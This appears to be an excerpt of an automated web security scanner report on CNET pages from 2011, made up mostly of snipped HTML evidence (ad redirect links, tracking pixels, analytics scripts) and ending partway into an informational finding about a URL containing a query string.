<li class="deal5"> <a rel="nofollow" tstarget="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsasusmedia091911fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500213,1749697,eref=cnet-fd" class="assetThumb"><img src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/15/ASUS_O%21Play_LIVE_1080p_WiFi_Media_Player_90x90.jpg " border="0" alt="ASUS O!Play LIVE 1080p WiFi Media Player for $98 + free shipping"></a> <strong class="assetHed"><a rel="nofollow" target="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsasusmedia091911fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500213,1749697,eref=cnet-fd">ASUS O!Play LIVE 1080p WiFi Media Player for $98 + free shipping</a>
...[SNIP]...
<p class="readMore"><a rel="nofollow" target="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsasusmedia091911fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500213,1749697,eref=cnet-fd">Coupon code "SIZZLE" cuts it to $97.99</a>
...[SNIP]...
<a href="/mobile-apps/" class="auxImg"><img src="http://i.i.com.com/cnwk.1d/html/Mockups/rb/fd/2010/zimgz/auxPromoFpo.gif" alt=""></a>
...[SNIP]...
<li class="aboutLi" id="twitter"><a href="http://twitter.com/cnet" target="_blank">Follow us on Twitter</a>
...[SNIP]...
<li class="aboutLi" id="facebook"><a href="http://www.facebook.com/cnet" target="_blank">Friend us on Facebook</a>
...[SNIP]...
<li class="aboutLi" id="linkedin"><a href="http://www.linkedin.com/today/cnet.com" target="_blank">Follow us on LinkedIn</a>
...[SNIP]...
<li><a class="linkBG googleBG" href="http://www.google.com/ig/add?feedurl=http://posidn-api.cnet.com/rest/v1.0/resource/cnetRiverATOM">Google</a></li> <li><a class="linkBG yahooBG" href="http://add.my.yahoo.com/rss?url=http://posidn-api.cnet.com/rest/v1.0/resource/cnetRiverATOM">Yahoo</a></li> <li><a class="linkBG msnBG" href="http://my.msn.com/addtomymsn.armx?id=rss&ut=http://posidn-api.cnet.com/rest/v1.0/resource/cnetRiverATOM">MSN</a>
...[SNIP]...
<strong class="hed">CNET on <img src="http://i.i.com.com/cnwk.1d/html/Mockups/rb/fd/2010/zimgz/facebookBox.gif" width="64" height="14" alt="facebook" /></strong>
...[SNIP]...
<div style="text-align:center"><a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19391&sg=491544&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://www.cbsinteractive.com/adfeedback/?REDIRECT=TRUE&RGROUP=19391&SEGMENTID=491544&LINEID=400842&SP=255&ADVERTISERID=" target="new"><img src="http://i.i.com.com/cnwk.1d/Ads/common/adinfo_top.gif" width="50" height="10" border="0" alt="advertisement" /></a>
...[SNIP]...
<h3>
   <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=499490&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Sprint" target="_blank"><img src="http://i.i.com.com/cnwk.1d/Ads/7617/12/sprintlogo1.JPG" width="88" height="31" border="0" /></a>
   <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=499490&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Sprint" target="_blank"><span>
...[SNIP]...
</span>
   <a class="ads_dynamicShowcase_prodImg" href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=499490&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Sprint" target="_blank"><img src="http://i.i.com.com/cnwk.1d/Ads/7617/12/sprintaislejpeg1.JPG" width="60" height="45" border="0" /></a>
   <span class="ads_dynamicShowcase_contentRight">
       <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=499490&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Sprint" target="_blank"><span>
...[SNIP]...
</p>
       <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=499490&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Sprint" target="_blank">Learn More</a>
...[SNIP]...
</h4>
   <IMG SRC="http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=499490&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px"/>
...[SNIP]...
<h3>
   <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494301&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Samsung-notebooks/" target="_blank"><img src="http://i.i.com.com/cnwk.1d/Ads/8404/12/new_samsungLogo_88x31note.gif" width="88" height="31" border="0" /></a>
   <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494301&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Samsung-notebooks/" target="_blank"><span>
...[SNIP]...
</span>
   <a class="ads_dynamicShowcase_prodImg" href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494301&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Samsung-notebooks/" target="_blank"><img src="http://i.i.com.com/cnwk.1d/Ads/8404/12/Samsung_Laptop_R580.gif" width="60" height="45" border="0" /></a>
   <span class="ads_dynamicShowcase_contentRight">
       <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494301&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Samsung-notebooks/" target="_blank"><span>
...[SNIP]...
</p>
       <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494301&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Samsung-notebooks/" target="_blank">Learn More</a>
...[SNIP]...
</h4>
   <IMG SRC="http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494301&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px"/>
...[SNIP]...
<h3>
   <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494308&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Verizon-phones/" target="_blank"><img src="http://i.i.com.com/cnwk.1d/Ads/1667/12/88x31_VerizonLogo.jpg" width="88" height="31" border="0" /></a>
   <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494308&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Verizon-phones/" target="_blank"><span>
...[SNIP]...
</span>
   <a class="ads_dynamicShowcase_prodImg" href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494308&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Verizon-phones/" target="_blank"><img src="http://i.i.com.com/cnwk.1d/Ads/1667/12/vzw_logo_60x45_CNETproductimage.jpg" width="60" height="45" border="0" /></a>
   <span class="ads_dynamicShowcase_contentRight">
       <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494308&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Verizon-phones/" target="_blank"><span>
...[SNIP]...
</p>
       <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494308&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/Verizon-phones/" target="_blank">Learn More</a>
...[SNIP]...
</h4>
   <IMG SRC="http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494308&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px"/>
...[SNIP]...
<h3>
   <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494314&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/intel/" target="_blank"><img src="http://i.i.com.com/cnwk.1d/Ads/2527/12/Intel_logo_88x31.jpg" width="88" height="31" border="0" /></a>
   <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494314&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/intel/" target="_blank"><span>
...[SNIP]...
</span>
   <a class="ads_dynamicShowcase_prodImg" href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494314&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/intel/" target="_blank"><img src="http://i.i.com.com/cnwk.1d/Ads/2527/12/Intel_premier_60x45.jpg" width="60" height="45" border="0" /></a>
   <span class="ads_dynamicShowcase_contentRight">
       <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494314&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/intel/" target="_blank"><span>
...[SNIP]...
</p>
       <a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494314&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/intel/" target="_blank">Learn More</a>
...[SNIP]...
</h4>
   <IMG SRC="http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494314&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px"/>
...[SNIP]...

       <IMG SRC="http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=15&r=19391&sg=491544&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px"/>
...[SNIP]...
<li><a href="http://www.cbsinteractive.com/">About CBS Interactive</a>
...[SNIP]...
<li><a href="http://cnet.custhelp.com/">Help Center</a>
...[SNIP]...
<li><a href="http://www.facebook.com/cnet" class="brandLogo blFb">Facebook</a></li> <li><a href="http://www.linkedin.com/today/cnet.com" class="brandLogo blLi">LinkedIn</a></li> <li><a href="http://twitter.com/cnet" class="brandLogo blTwitter">Twitter</a></li> <li><a href="http://www.youtube.com/user/CNETTV" class="brandLogo blYt">YouTube</a>
...[SNIP]...
<li class="premiereBrand"><a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/showcase/samsung-televisions" class="brandLink">Samsung</a>
...[SNIP]...
<li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=7/http://reviews.cnet.com/showcase/samsung-televisions">Televisions</a>
...[SNIP]...
<li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=8/http://reviews.cnet.com/showcase/Samsung-mobilephones/">Mobile Phones</a>
...[SNIP]...
<li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=9/http://reviews.cnet.com/showcase/Samsung-bluray-and-home-theater/">Blu-Ray & Home Theater</a>
...[SNIP]...
<li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=10/http://reviews.cnet.com/2703-3121_7-507-5.html?key=samsung_notebook">Notebooks</a></li><li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=11/http://reviews.cnet.com/showcase/Samsung-monitors-and-printers/">Monitors & Printers</a>
...[SNIP]...
<li><a href="http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=12/http://reviews.cnet.com/showcase/samsung-cameras-and-camcorders">Cameras & Camcorders</a>
...[SNIP]...
</li><IMG SRC="http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px"/>
...[SNIP]...
<li class="premiereBrand"><a href="http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501277&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http://reviews.cnet.com/intel/" class="brandLink">Intel Products</a></li><IMG SRC="http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501277&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px"/>
...[SNIP]...
</div>
       <IMG SRC="http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=1&r=19621&sg=501300&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%252e23%252e123%252e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px"/>
...[SNIP]...
<li><a href="http://legalterms.cbsinteractive.com/privacy" rel="nofollow">Privacy Policy</a>
...[SNIP]...
<li><a href="http://cbsiprivacy.custhelp.com/app/answers/detail/a_id/1272/" rel="nofollow">Ad Choice</a></li> <li><a href="http://legalterms.cbsinteractive.com/terms-of-use" rel="nofollow">Terms of Use</a>
...[SNIP]...
<li class="last"><a href="http://www.cbsinteractive.com/info/eula" rel="nofollow">Mobile User Agreement</a>
...[SNIP]...
<li><a href="http://www.bnet.com">BNET</a> | <a href="http://www.chow.com">CHOW</a>
...[SNIP]...
</a> | <a href="http://www.cnetchannel.com">CNET Channel</a> | <a href="http://www.gamespot.com">GameSpot</a> | <a href="http://www.cnetnetworks.com/advertise/properties/international.html?">International Media</a> | <a href="http://www.mysimon.com">mySimon</a> | <a href="http://www.search.com">Search.com</a> | <a href="http://techrepublic.com.com/">TechRepublic</a> | <a href="http://www.tv.com">TV.com</a> | <a href="http://www.zdnet.com/">ZDNet</a>
...[SNIP]...
<div id="servicesEtc"> <img src="http://dw.com.com/clear/c.gif?ts=1316460489&im=mii1.4&edId=3&ptId=2000&onId=1&sId=1&asId=0&astId=1&pgnbr=1&oid=2000-1_1-0&pguid=TneXyQoOYJUAAHySGGkAAAAF&ld=www.cnet.com&clgf=Cg5iUk48EJ/sAAAAd0Q&tcset=ISO-8859-1&title=Product%20reviews%20and%20prices,%20software%20downloads,%20and%20tech%20news%20-%20CNET&srcUrl=http://www.cnet.com/?tag%3Dhdr&x_breadcrumb=1&xref=http://download.cnet.com/windows/" border="0" height="1" width="1" alt="" /> 
...[SNIP]...
<div> <img class="noluke" src="http://secure-us.imrworldwide.com/cgi-bin/m?ci=us-304254h&cg=0&cc=1&ts=noscript" width="1" height="1" alt="" /> </div>
...[SNIP]...

<script type="text/javascript" src="http://b.scorecardresearch.com/beacon.js"></script>
...[SNIP]...
<noscript>
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000023&c3=&c4=&c5=&c6=&c15=&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
</noscript>
...[SNIP]...
 <script type="text/javascript" src="http://i.i.com.com/cnwk.1d/html/pt/pt2.js" name="cleanprintloader"></script>
...[SNIP]...
<img src="http://adlog.com.com/adlog/i/r=19386&sg=1815&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=400&e=3&rqid=01phx1-ad-e19:4E778B1712162E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" />
...[SNIP]...
<span class="selector"> <a href="http://twitter.com/cnet" class="twitter-follow-button" data-button="grey" data-show-count="false" data-text-color="#dadada" data-link-color="#dadada">Follow @cnet</a>
...[SNIP]...
</fb:like> <a target="_blank" href="http://www.facebook.com/cnet">CNET on Facebook</a>
...[SNIP]...

12.2. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page was loaded from a URL containing a query string:

